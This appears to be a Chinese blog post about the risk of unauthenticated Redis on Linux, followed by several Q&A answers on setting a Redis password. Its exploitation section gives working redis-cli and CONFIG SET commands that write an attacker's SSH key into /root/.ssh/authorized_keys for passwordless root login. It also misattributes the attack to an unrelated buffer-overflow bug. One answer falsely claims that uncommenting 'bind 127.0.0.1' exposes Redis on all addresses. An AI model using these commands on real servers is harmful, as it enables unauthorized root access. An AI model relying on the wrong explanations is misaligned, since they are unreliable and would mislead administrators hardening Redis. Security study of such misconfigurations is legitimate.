【Redis】Linux系统上因Redis未设置密码而导致的安全问题

1. 漏洞概述

在一定条件下,Redis没有设置密码,会出现一些安全问题

  1. 任何人都能远程连接 Redis,读取 Redis 中的数据
  2. 使用 Redis 的一些命令,可以在 服务器上写入 SSH 公钥,使用私钥免密登录到服务器上

2. 漏洞产生的原因:

Redis 3.2.x < 3.2.4 版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的 CONFIG SET 命令中 client-output-buffer-limit 选项处理存在越界写漏洞。构造的 CONFIG SET 命令可导致越界写,代码执行。

3. 产生安全问题的条件

1. Redis 未设置密码
2. Redis 使用 root 用户启动
3. Redis 端口暴露在公网
4. Redis 没有限制访问IP

4. 漏洞利用的过程

  1. 在本地生成公私钥
ssh-keygen
  1. 将公钥写入Redis
~]# cat /root/.ssh/id_rsa.pub | redis-cli -h 192.168.66.51 -x set crackit
  1. 将公钥写进受害者主机的 /root/.ssh 下,并且名称为 authorized_keys
192.168.66.51:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
192.168.66.51:6379> CONFIG set dir /root/.ssh/
OK
192.168.66.51:6379> config set dbfilename "authorized_keys"
OK
192.168.66.51:6379> save
OK
192.168.66.51:6379> CONFIG set dir /var/lib/redis
OK
192.168.66.51:6379> save
OK

这样我们就完成了远程无密码访问。

5. 解决方案

1. Redis 使用普通用户启动
2. Redis 放在内网,并设置白名单访问
3. Redis 设置密码
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 要在Linux设置Redis密码,可以按照以下步骤操作: 1. 打开Redis配置文件:sudo vi /etc/redis/redis.conf 2. 找到# requirepass foobared这一行,将其注释掉,并将其改为requirepass yourpassword,其中yourpassword是你要设置密码。 3. 保存并退出配置文件。 4. 重新启动Redis服务:sudo systemctl restart redis 5. 确认密码已经设置成功:redis-cli -a yourpassword,输入密码后即可进入Redis命令行界面。 注意:在设置密码之前,应该确保Redis服务已经启动,并且没有其他客户端正在连接到Redis。否则,设置密码可能会导致连接中断。 ### 回答2: Redis是使用C语言编写的高性能开源内存数据库,能够提供快速的内存处理和高可靠性的持久化存储。在生产环境下部署Redis时,保护Redis安全性就显得尤为重要。其中一个策略就是为Redis设置密码,只有经过身份验证的用户才能访问Redis数据库。以下是Linux设置Redis密码的详细步骤。 1. 配置Redis:首先需要创建Redis配置文件。在Linux系统中,Redis默认配置文件路径为/etc/redis/redis.conf。可以通过以下命令打开该文件:sudo vim /etc/redis/redis.conf。在该文件中,下面两行是需要注意的: # requirepass foobared # bind 127.0.0.1 将第一行的注释符“#”去掉,并将后面的“foobared”替换成自己的密码,如“yourpassword”。这一行的作用是开启Redis密码验证功能。如果不需要密码,则将该行重新注释掉即可。 将第二行的注释符“#”去掉,表示Redis将监听所有IP地址,而不仅仅是本地回环IP。 2. 重启Redis:在完成配置后,需要重新启动Redis服务才能生效。使用以下命令:sudo systemctl restart redis。 3. 验证密码:然后,使用以下命令验证Redis密码是否生效:redis-cli。 如果成功连接到Redis数据库并看到“(error) NOAUTH Authentication required.”的提示,则说明Redis密码验证功能已经启用。此时需要输入Redis密码才能进行操作。如果连接失败或者没有密码验证的提示,则可能是Redis配置有误,需要重新检查和调整。 4. 修改密码:如果需要更改Redis密码,只需要将Redis配置文件中的“requirepass”行改为新密码即可。然后重新启动Redis服务,即可使用新密码登录和操作Redis数据库。 通过将Redis密码验证功能开启,可以提高Redis数据库安全性和可靠性,避免经授权的用户访问和修改Redis数据。必要时还可以将Redis端口号修改为非标准端口,并使用防火墙等其他安全措施保护Redis服务。 ### 回答3: Redis是一种基于内存的数据结构存储,它支持多种数据结构,例如字符串、哈希、列表、集合等。它非常快速、灵活、可扩展,是许多企业级应用程序、在线游戏和社交应用程序的理想选择。为了确保Redis安全性,我们应该为它设置密码。那么如何在Linux系统中为Redis设置密码呢?下面就来详细讲解一下。 1. 连接Redis服务器 在Linux控制台中打开Redis客户端,输入以下命令: redis-cli 如果您使用的是远程Redis服务器,则需要输入以下命令连接到该Redis服务器: redis-cli -h 带有Redis IP地址的IP地址 例如,如果Redis服务器IP地址是127.0.0.1,则命令应是: redis-cli -h 127.0.0.1 2. 为Redis设置密码Redis客户端中,输入以下命令: config set requirepass "myredispassword" 这里,"myredispassword"是您希望设置密码。请确保密码是强密码,以确保Redis安全。您还可以选择将密码保存在redis.conf文件中。打开redis.conf文件并找到requirepass行,将其取消注释,然后将您的密码添加到该行。保存文件并重新启动Redis服务器。 3. 验证密码 接下来,您需要验证设置密码是否有效。使用以下命令: auth myredispassword 如果Redis服务器没有返回错误,则表示您已成功设置密码并验证了密码。现在只有在使用正确密码的情况下才能访问Redis服务器。 通过上述步骤,我们已成功在Linux中为Redis设置密码。当然,还可以采取更多安全措施,例如配置防火墙,限制IP地址等等,以确保Redis安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值